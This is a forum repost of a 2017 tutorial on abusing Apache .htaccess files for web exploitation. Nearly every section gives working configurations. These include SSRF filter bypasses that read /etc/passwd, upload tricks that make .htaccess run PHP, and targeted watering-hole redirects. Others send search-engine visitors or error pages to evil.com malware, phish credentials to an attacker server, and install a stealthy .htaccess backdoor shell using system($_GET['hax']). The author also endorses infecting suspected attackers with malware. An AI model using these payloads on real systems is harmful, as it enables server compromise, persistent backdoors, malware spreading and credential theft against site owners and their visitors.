Nytro Posted September 6, 2017 Report Posted September 6, 2017 PROJECT INSECURITY http://insecurity.zone || Red Team || [SOON] Interactive hacking tutorial platform || Tools & exploits || Wargames/CTF's || IRC: http://irc.land Sep 5 Utilizing .htaccess for exploitation purposes — PART #1 Author — MLT(@ret2libc) This tutorial will cover ways in which .htaccess can be used within the context of web-based exploitation. It will detail a few different techniques, some of which are useful for penetration testing and bug bounty hunting, others which are capable of less damage but can still be abused maliciously, and methods that a blackhat hacker could use to perform watering hole attacks or infect users of compromised websites with malware. This guide will also detail a few other tricks that can efficiently abuse .htaccess for an attackers’ gain. This is the first of a two-part series regarding uses of htaccess for exploitation purposes. I will cover some basic and somewhat well-known methods here, along with a few lesser known methods. In part 2, I will be moving onto more advanced methods of exploitation through use of htaccess. In this guide I will attempt to explain various non-conventional uses of .htaccess which can be extremely useful for exploitation and post-exploitation purposes. I’m assuming most readers will have an understanding of .htaccess, but for those who don’t, I will offer a brief explanation. Regardless of how familiar you are with htaccess rules, I’m hoping this should still be easy enough to grasps. Some of the methods I will be covering are a little outdated, but many of these still work to this date, and even the outdated methods discussed can still work in plenty instances when an attacker is targeting a server which doesn’t have all of their software up to date. I will begin with a few methods that aren’t necessarily “exploits” as such, but rather just means of using mod_rewrite to be a general nuisance. For those of you who aren’t familiar with what .htaccess is, here is a short explanation (taken from htmlgoodies.com because I’m lazy): htaccess is short for Hypertext Access, and is a configuration file used by Apache-based web servers that controls the directory that it “lives” in — as well as all the subdirectories underneath that directory. Many times, if you have installed a Content Management System (CMS), such as Drupal, Joomla or Wordpress, you likely encountered the .htaccess file. You may not have even had to edit it, but it was among the files that you uploaded to your web server. Some of the features of the .htaccess file include the ability to password protect folders, ban users or allow users using IP addresses, stop directory listings, redirect users to another page or directory automatically, create and use custom error pages, change the way files with certain extensions are utilized, or even use a different file as the index file by specifying the file extension or specific file. In short, it’s a set of rules you include on your web-server (in a file named .htaccess) which allows you to perform options such as password protecting a directory or creating aliases for extensions so for example if you had a page such as http://site.com/something/file.php you could set a htaccess rule so that when the page loads it would take the user to http://site.com/something/file (hiding the extension) — or you could use it to do something like 302 redirect one page to another or HTTP 403 a directory. Here is an example of what a htaccess file looks like: ### MAIN DEFAULTS Options +ExecCGI -Indexes DirectoryIndex index.html index.htm index.php DefaultLanguage en-US AddDefaultCharset UTF-8 ServerSignature Off Interesting side note, you should always add the ServerSignature Off directive because it prevents banner info from displaying your server information on directory listings (which makes the recon stage for an attacker slightly more awkward, every little helps!) — that being said, this should ideally be done through your httpd.conf rather than your htaccess file. What I’m going to be primarily focusing on specifically is the rewrite module for apache within .htaccess (mod_rewrite) — this allows redirects to take place. So without further ado, let’s begin. Trolling internet users with continuous pop-ups: The first method I will be discussing is how to abuse mod_rewrites to troll people with continuous pop-ups on the site that they are attempting to use. This is a very simple method, you would upload an image to your server and then you would use htaccess to password protect a directory and redirect the image to a file within that password protected directory. You will also need a .htpasswd file in addition to .htaccess which will contain the login credentials for the password protected directory. This method is just a little fun, doesn’t have any real value but I’ve seen it exploited on popular forums before and it is pretty effective at trolling the hell out of people, so there’s always that. For the purpose of this example, lets assume that we have two files, lol.jpg and umad.jpg wherein lol.jpg is stored in a public directory and umad.jpg is stored in a password protected directory. here is an example of what your .htaccess file should look like: Options +FollowSymlinks RewriteEngine on RewriteRule lol.jpg /protected-directory/umad.jpg [NC] AuthUserFile /home/usr/.htpasswd AuthName “r u mad tho” AuthType Basic require user lolololololol In addition to this, you would need to setup a .htpasswd file that looks like something that follows: username:encryptedPass The username in this instance needs to match the username that you added to your .htaccess file. As for the encrypted password, this is generated via PHP’s crypt(); function. If you don’t want to use PHP (I don’t blame you), then online generators are also available to encrypt the password value in your .htpasswd file. You could then set the path to lol.jpg as your signature on a forum for example, and every time someone views your thread or every time you post in a thread, it will repeatedly popup on their screen with a prompt to enter a username/password, which can get pretty annoying for them. It doesn’t necessarily have to be a forum either. If you’re on any form of website where you have an option for a custom avatar or profile image then you can abuse this method that way too (assuming it lets you set your profile image from a remote URL rather than just via a file upload form) — Anyone who’s browser renders your image will be repeatedly spammed with password prompt boxes (assuming the site you’re doing this on hasn’t came up with some way of patching it). This could be used for things like forum signatures, profile avatars, or pretty much just anything with image upload functionality that allows you to grab the image from a remote URL. Browser fingerprinting and IP logging without user interaction: This method is also utilizing a redirect trick, but it will allow you to trace people’s IP addresses (or do pretty much anything that you can do via executing PHP code) without them even being aware. This will allow you to perform browser fingerprinting in a stealthy manner, generally with the target being completely unaware. Once again, it’s a simple mod rewrite like so (the only difference is we are redirecting to a PHP file here instead of a password protected dir): Options +FollowSymlinks RewriteEngine on RewriteRule lol.jpg /path/to/evil.php [NC] Let’s assume an attacker has two files hosted on their server, lol.jpg being a completely innocent image file, and evil.php being a PHP script used for information gathering. Now, the plan here is to trick the server into thinking a valid image has been included. From the servers point of view, they are making a request to an image file. When it redirects to the PHP script though, no valid image is seen so the server would generally not include the image on the page (so no PHP would be executed). However, we can use PHP dynamic images into tricking the server into thinking it is including lol.jpg into the page rather than evil.php — we can make the PHP script output an image and it will also run any malicious code alongside it (logging an IP address in this case). This can be achieved via the imagecreate(); function, here is an example: Although I’m aware that using .htm extension for logging the gathered info would make you vulnerable to a persistent XSS since $_SERVER[‘HTTP_USER_AGENT’]; is an input that can be controlled by the user, I’m using this extension for the purposes of formatting. If it bothers you, then just switch .htm extension to .txt In the case of the example above, once the image is rendered in the users browser, it will write their user agent, IP address, referer header and other useful information for fingerprinting to a file on the attackers server. This would then allow an attacker to obtain information about the users location, or even craft tailored payloads in order to exploit the users browser. So for example if there was a site where you had a profile, and you could set your profile image from a remote URL, then you could include lol.jpg as your image (from your URL) and htaccess would redirect it to the PHP script which then outputs an image, and the server gets tricked into thinking evil.php is lol.jpg and includes the image as your profile picture while executing any other PHP code that runs alongside it (in this case logging the IP address and user agent of anyone who views your profile). In addition to rewrite rules being used for this, AddType may also be used to achieve the same effect. Filter Evasion for web-based vulnerabilities: htaccess has several uses for filter evasion regarding web-based vulnerabilities. The two attack vectors that I will be discussing in this post are Server-Sided Request Forgery and Arbitrary File Upload. Server-Sided Request Forgery: For those who aren’t familiar with SSRF, it allows you to use various URI schemes to view local resources instead of requesting a remote resource, for example if there was a page like http://example.com/vuln.php?url=http://somesite.com then you could change the ‘?url=’ GET parameter to localhost to probe for information about a service running on a specific port, e.g: http://127.0.0.1:3306 This would disclose information regarding the MySQL daemon running on the vulnerable server file:/etc/passwd This would allow an attacker to achieve Local File Disclosure through SSRF, allowing them to read the contents of local system files. Generally, most secure websites will have filters in place to prevent SSRF from taking place. There are many bypass methods for SSRF, but I’m going to be focusing specifically on a context where it only allows the input to be a remote resource or a valid (or seemingly valid) URL. So assuming an attacker will be blacklisted if they attempt redirection to localhost/127.0.0.1/0.0.0.0 or file:// uri scheme, then they could setup a mod_rewrite with htaccess like so: Options +FollowSymlinks RewriteEngine on RewriteRule lol.jpg http://127.0.0.1:3306 [NC] or to read local files: Options +FollowSymlinks RewriteEngine on RewriteRule lol.jpg file:/etc/passwd [NC] Of course, this technique can also be used to achieve RCE assuming there is a vulnerable service such as sftp, gopher, memcached or something similar on the target server. This will potentially bypass any blacklist in place as you could add http://example.com/lol.jpg as the input for the vulnerable script, then the vulnerable script could instead make a request to http://127.0.0.1:3306 or file:/etc/passwd after making the original request to http://example.com/lol.jpg — causing the SSRF to be exploited and the filter to be bypassed (in this example disclosing MySQL version or passwd output) There are many cases where this won’t work, but I’ve used this for bounties on various programs in the past with success. Arbitrary File Upload: In addition to having uses within SSRF, .htaccess can also be abused for arbitrary file upload in some cases. If there was a scenario where a vulnerable website had a file upload form with a blacklist-based filter in place (blocking specific extensions such as .php or .phtml), then in some cases it could be possible to upload a .htaccess file, resulting in a varying degree of consequences. htaccess has a default deny rule which prevents it from being accessible over the internet. If an attacker has the ability to override htaccess, the first thing they will need to do is disable the deny rule so that it can be accessible by navigating to the relevant URL path, to do this, an attacker would upload a htaccess file that looks something similar to this: <Files ~ “^\.ht”> # overriding deny rule # making htaccess accessible from the internet Require all granted Order allow,deny Allow from all </Files> This now means that an attacker can freely view htaccess by simply navigating to the URL (http://site.com/.htaccess). If an attacker has the ability to override the current .htaccess file in use, and replace it with their own, then this would allow them to perform all kinds of attacks on the server, ranging from application-level DoS to full-blown Remote Command Execution. Whether this works is dependant on which apache modules are enabled. If modules such as mod_info and mod_status are enabled then an attacker can perform information disclosure and Remote Command Execution respectively. Once an attacker has overridden the sites original htaccess file and disabled the default deny rule, they could perform Remote Command Execution by adding the following line to their custom htaccess file: AddType application/x-httpd-php .htaccess This will make the server treat htaccess files as PHP scripts, and, paired with the method above to override the vulnerable servers original htaccess file, an attacker could then navigate to the URL where the htaccess file is stored on the server in order to execute their PHP code. The payload that the attacker crafts would be in the form of a comment within the htaccess file, for example: AddType application/x-httpd-php .htaccess # <?php echo “get pwned”; ?> Of course, this isn’t limited to PHP. You could use the same method to spawn a JSP shell or something similar (all depending on which technologies are running on the server) — in order to do this they would need to change the value for AddType to correspond to the code that they wish to execute. If, for some reason, it isn’t allowing htaccess to be accessed despite the deny rule being disabled (e.g. as a result of an external config for the HTTP daemon or a CMS-specific config file), then an attacker could instead use AddType to set a more ‘innocent’ file such as a JPG to be treated as a PHP file. They could then include some malicious PHP code within their JPG image, upload the image, and navigate to the path where the image is stored in order for their code to execute. If the attacker is exploiting an outdated system with Windows 8.3 (SFN) filename conventions, then it may be possible to circumvent a blacklist-based filter that is stopping files named ‘htaccess’ from being uploaded. The shortname for .htaccess can be used in cases like this. An attaker could upload a file named ‘HTACCE~1’ and if 8.3 filename conventions are in use, then this will be the equivalent to uploading a file named ‘.htaccess’ — assuming such filename conventions are in use (not too common these days), this could be used to bypass signature-based filters and blacklists that are in place for file upload functionality. Watering hole attacks and mass infecting site users with malware: If an attacker manages to compromise a website and has limited (non-root) access yet still has the ability to make modifications to htaccess, then this can be used for a variety of exploitation cases. The first example of this that I will cover is how an attacker can modify htaccess to act as a practical watering hole attack. If an attacker has a specific user in mind that they want to target, and they know the IP address of the user, alongside websites that the user frequents, then watering hole attacks are a possibility if the attacker has the ability to edit or override the htaccess file of a site that their victim frequently visits (through having partial access or the ability to override the sites current htaccess file through means of arbitrary file upload). Let’s assume the attacker has a target in mind, and knows that their IP address is 151.121.2.69and that they frequently visit a website called example.com — If the attacker found a method to overwrite the htaccess file for example.com, then they could setup a htaccess rule like so: RewriteCond %{REMOTE_ADDR} ^151\.\121\.2\.69$ RewriteCond %{REQUEST_URI} !/GetHacked.php RewriteRule .*\.(htm|html|php)$ /GetHacked.php [R,L] With the example above, any regular user visiting example.com would be able to browse the website as normal. If the victim were to visit example.com, they would be redirected to GetHacked.php (it would be more stealthy than this of course, but that’s just an example). Generally the page that the victim would be redirected to would look identical to the site that they were intending to connect to in terms of design (and would have the same domain name), but they would be redirected to a separate, unique page on the site which would then serve malware, hook their browser, or exploit their browser via a zero-day vulnerability. If done properly, the victim would be completely unaware of the fact that anything out of the ordinary had taken place. They would continue to browse the site as usual, having no idea that they had fallen victim to a watering hole attack. If planned out properly, this can lead to a highly sophisticated, stealthy, targeted attack against someone while they remain completely oblivious to what happened. Although the method I just described is a targeted watering hole attack aimed at a specific victim, it is also possible to use htaccess to serve malware to the userbase of a website in general through a series of rewrite rules. This is generally achieved by checking the referer header to see which site the user is coming from, and redirecting them to malware based upon that. Usually an attacker wanting to spread malware would gain access to a popular website and then create some rewrite rules for htaccess that would cause anyone visiting the site from a popular search engine to be redirected to malware or a browser exploit. This could be achieved like so: RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.* [OR] RewriteCond %{HTTP_REFERER} .*ask.* [OR] RewriteCond %{HTTP_REFERER} .*bing.* [OR] RewriteCond %{HTTP_REFERER} .*aol.* [OR] RewriteCond %{HTTP_REFERER} .*yahoo.* [OR] RewriteCond %{HTTP_REFERER} .*duckduckgo.* [OR] RewriteCond %{HTTP_REFERER} .*yahoo.* [OR] RewriteCond %{HTTP_REFERER} .*baidu.* RewriteRule ^(.*)$ http://evil.com/malware.ext [R=301,L] In addition to malicious hackers compromising websites and modifying the vulnerable sites’ htaccess file in order to spread malware or build a botnet, another common application of this technique is to push traffic to sites that pay for traffic. If a hacker was to compromise some popular websites and modify their htaccess files to setup redirect rules, they could make it so that any visitors to the site arriving from a search engine are instead redirected to a site of the hackers choice. This is a popular way of making money within the blackhat community, as many websites will pay for traffic pushed to their domain, and by hacking high Alexa or Google PR ranked websites and modifying their htaccess file in that manner, it can be highly profitable due to the sheer amount of traffic generated. Another thing to take note of is that this can also be used as a defence mechanism through use of htaccess rules on your own website. For example, imagine the hypothetical situation that you operate a website and you are aware that users of an online hacking forum are trying to target your site, you could setup htaccess rules so anyone coming directly from the malicious site to your site is redirected to malware, and pre-emptively counter-hacked before they have the opportunity to cause any damage. If you are aware that people from evil-site.com are trying to target your website, then you could setup a htaccess rule like so: RewriteEngine On RewriteCond %{HTTP_REFERER} .*evil-site.com RewriteRule ^(.*)$ http://hack-the-hackers.com/malware.ext [R=301,L] As well as the methods described above to infect site users with malware, a similar thing can be achieved though use of error documents. You can add htaccess rules so that when common HTTP status code errors are triggered, the user is redirected to malware: ErrorDocument 403 http://evil.com/payload.php ErrorDocument 404 http://evil.com/payload.php ErrorDocument 500 http://evil.com/payload.php Information Disclosure through htaccess: There are two primary forms of information disclosure through htaccess files. One requires access to the compromised server, the other does not. Occasionally htaccess files can be readable by anyone due to a server misconfiguration or the lack of a default deny rule. When performing a penetration test, It’s always useful to check whether htaccess is readable (9 times out of 10, it won’t be) so you can see which rewrite rules and other restrictions or settings are in place. You’ll be surprised at what information can be disclosed, and you’ll be surprised at how often you’ll manage to come across sites that fail to properly configure their server or HTTP 403 their htaccess file. For context: The majority of sites indexed on google have readable .htaccess files It’s always worth checking whether you can read .htaccess on a site that you’re performing an audit on. To do this, simply navigate to the following URL on the site that you’re testing: http://example.com/.htaccess Generally you will receive a HTTP 403 response, but in some cases you will have the ability to read .htaccess — It’s also worth pointing out that the file may not always be named .htaccess, there are a few common variations to look out for: OLD.htaccess 1.htaccess dot.htaccess backup.htaccess _.htaccess -.htaccess In addition to this, htaccess will be a text file within certain CMS’ (some examples being Joomla and OpenCart) — so depending on which CMS the server is running, it’s sometimes worth checking for htaccess.txt to see if that is readable. Here is an example (on a Joomla install): http://www.nationalcrimeagency.gov.uk/htaccess.txt Having knowledge of which .htaccess rules are in place can allow an attacker to know which security restrictions are in place, and which arent. Therefore it will allow them to know what may potentially need to be bypassed. It can also reveal information about technologies running on the webite. The second (and far more effective) version of information disclosure through .htaccess is in a context where an attacker has limited access to a server. Let’s assume that they can’t edit files or perform other actions, but they have the ability to edit .htaccess (or replace htaccess through means of arbitrary file upload). In addition to bypassing restrictions such as PHP safe mode and spawning a shell (which I will cover in the next section), it can also be used to disclose information on the server in order to further aid an attack. Assuming syscalls are disabled and the methods for abusing htaccess to modify php.ini (to enable syscalls) isn’t working, then information disclosure is probably the next course of action for an attacker. Assuming you can execute PHP code through a malicious htaccess file, there are the obvious means of information disclosure that can be used through PHP’s functionality (although a LOT more than information disclosure can be done if you have the abiliy to execute syscalls rather than just run PHP code). Assuming you don’t have the ability to execute syscalls, but can still execute PHP, then the most obvious form of information disclosure would be through the use of the phpinfo(); function. You would first override the deny rule as explained earlier, then you would navigate to the URL where htaccess is located in order to display phpinfo (giving you the PHP version, kernel version, and other useful information): AddType application/x-httpd-php .htaccess # <?php phpinfo(); ?> Another possibility (although this is very easily detected by the sysadmin) is that you can change the content-type for server-sided scripts, allowing an attacker to read the source code for PHP files. This means they would then have the ability to perform a whitebox source code audit on the site, enabling them to potentially find more vulnerabilities: <FilesMatch “\.ph.*$”> SetHandler text/plain AddType text/plain .php </FilesMatch> If an attackers goal is to be stealthy, then this probably isn’t the best option. This could be achieved in a more stealthy manner by setting AddType text/plain filename.php to the name of a specific file that they wish to view the source code for (before reverting it back to its original content-type). Doing this one file at a time would drastically reduce the chances of a sysadmin detecting that something was up (It’s going to be pretty obvious to them that something is wrong if EVERY page on their website is leaking its source code for anyone to see). Assuming an attacker has limited access and lacks read permissions for PHP files, then this can be highly valuable as it will allow them to find more critical vulnerabilities that would allow them to escalate privileges and gain a higher level of access. It is also possible to disclose server-status and server-info by appending the following lines to your malicious htaccess file through use of the SetHandler directive: SetHandler server-status SetHandler server-info This will leak useful information about the server, alongside the IP addresses of all users connecting to the server (allowing an attacker to gather intel on the userbase of their target website). Depending on the technologies running on the target website, SetHandler can also be used to disclose other kinds of information (for example information pertaining to the LDAP configuration or things like caucho-status — this won’t be too common since java servlets are practically always handled via Tomcat within Apache now rather than Resin, but there are equivalents for Tomcat and other technologies). The method described for performing browser fingerprinting and IP logging users can also be utilized for information disclosure (this doesn’t require any form of access or vulnerability to the target server). A PHP dynamic image can be used in conjunction with a htaccess file hosted on your own server, and then an attacker can input the URL to the image somewhere on the target server, causing the target server to request the image and the backend IP address of the target server to be written to the logfile on the attackers server. This can be used to bypass services like Cloudflare in order to reveal the real IP address of a server. Harvesting login credentials by phishing: There are a few different ways that an attacker can use htaccess in order to harvest login credentials and spear phish users. The methods I will discuss here are spear phishing through use of ErrorDocument — In addition to being able to serve malware through the use of custom error documents, you can also create documents using HTML/CSS/JS, meaning that somene can easily create an iframe phisher to harvest credentials, It’s just as simple as: ErrorDocument 403 <YourHtmlCode> when the user reaches a 403 page (or whatever HTTP status code the attacker chooses to set), they can create a phony login page through use of an iframe or document.write(); in order to trick users into handing over their credentials. Another method of phishing via making modifications to htaccess on a compromised site is by prompting the user with a username/password box and then sending the inputted credentials to a remote server controlled by the attacker, here is a htaccess file created by wireghoul in order to achieve this: # This file will prompt the user for username and password # And send the credentials to your server in plaintext (http basic auth) # You will need to edit this file and create a script to collect the # credentials on your server AuthType Basic AuthName “” AuthRemoteServer evil.com AuthRemotePort 80 AuthRemoteURL /phish/ require valid-user # Your script need to return the corresponding 401 or 200 ok response codes # to the mod_auth_remote module. In part #2 of this blog series, I will be explaining some unique and complex phishing methods that utilize htaccess which are virtually undetectable. Using htaccess to spawn a shell: If an attacker has limited access to the server they are trying to target, or a vulnerability that allows them to override the currently existing htaccess file, then it is possible to turn htaccess into a web-based HTTP GET shell using the methods described earlier in this post. Even if the attacker already has shell access to the server, it may be useful for them to add an additional shell to htaccess in order to maintain access in the instance that their original shell is detected and removed. Here is an example of what a fully functional htaccess shell would look like: # htaccess backdoor shell # this is relatively stealthy compared to a typical webshell # overriding deny rule # making htaccess accessible from the internet # without this you’ll get a HTTP 403 <Files ~ “^\.ht”> Require all granted Order allow,deny Allow from all </Files> # Make the server treat .htaccess file as .php file AddType application/x-httpd-php .htaccess # <?php system($_GET[‘hax’]); ?> # To execute commands you would navigate to: # http://vulnerable.com/.htaccess?hax=YourCommand # If system(); isnt working then try other syscalls # e.g. passthru(); shell_exec(); etc # If you still cant execute syscalls, try bypassing php.ini via htaccess Generally if an attacker was using htaccess as a means of maintaining shell access to a compromised site, they would add some form of padding/whitespace or additional (harmless) directives to the htaccess file, making it longer in length so that the sysadmin is less likely to notice any suspicious looking PHP code within their htaccess file. For htaccess shells that rely more heavily on stealth, I’d suggest incorporating non-alphanumericism into your PHP code (I’ll be talking more about non-alphanumericism within an upcoming blog post regarding methods of maintaining access to a compromised server). Also, for a comprehensive list of various forms of shells that can be used within htaccess in instances where PHP isn’t available, I would strongly recommend looking into wireghoul’s ‘htshells’ repository. Final Notes (and what’s coming next): In part #2 of this series, I will be explaining how to use htaccess to “counter-hack” anyone who tries to target your site, I will be covering use of auto_append_file to make every page on a website serve malware, I will also be explaining various methods of symlink bypasses using htaccess (some of which would allow an attacker to compromise thousands of sites at once on a shared host) that currently work for a variety of environments, alongside methods of bypassing HTTP 403 through use of htaccess. In addition to this, I will be discussing how to bypass PHP’s safe mode with htaccess and how to make modifications to php.ini in order to be able to spawn a shell more effectively and how an attacker could have a higher level of control over a target server through use of htaccess exploitation (through the ability to modify php.ini to their choosing). I will also be touching lightly upon some of the more advanced phishing techniques that can be achieved by abusing htaccess. Contact: PROJECT INSECURITY That’s all for now. I’m open to constructive criticism but this is my first blog post so don’t be too mean about my terrible writing style or any errors I made. The quality of my writing will improve in future posts. I hope someone at least learned something from this — MLT Sursa: https://medium.com/@insecurity_92477/utilizing-htaccess-for-exploitation-purposes-part-1-5733dd7fc8eb Quote
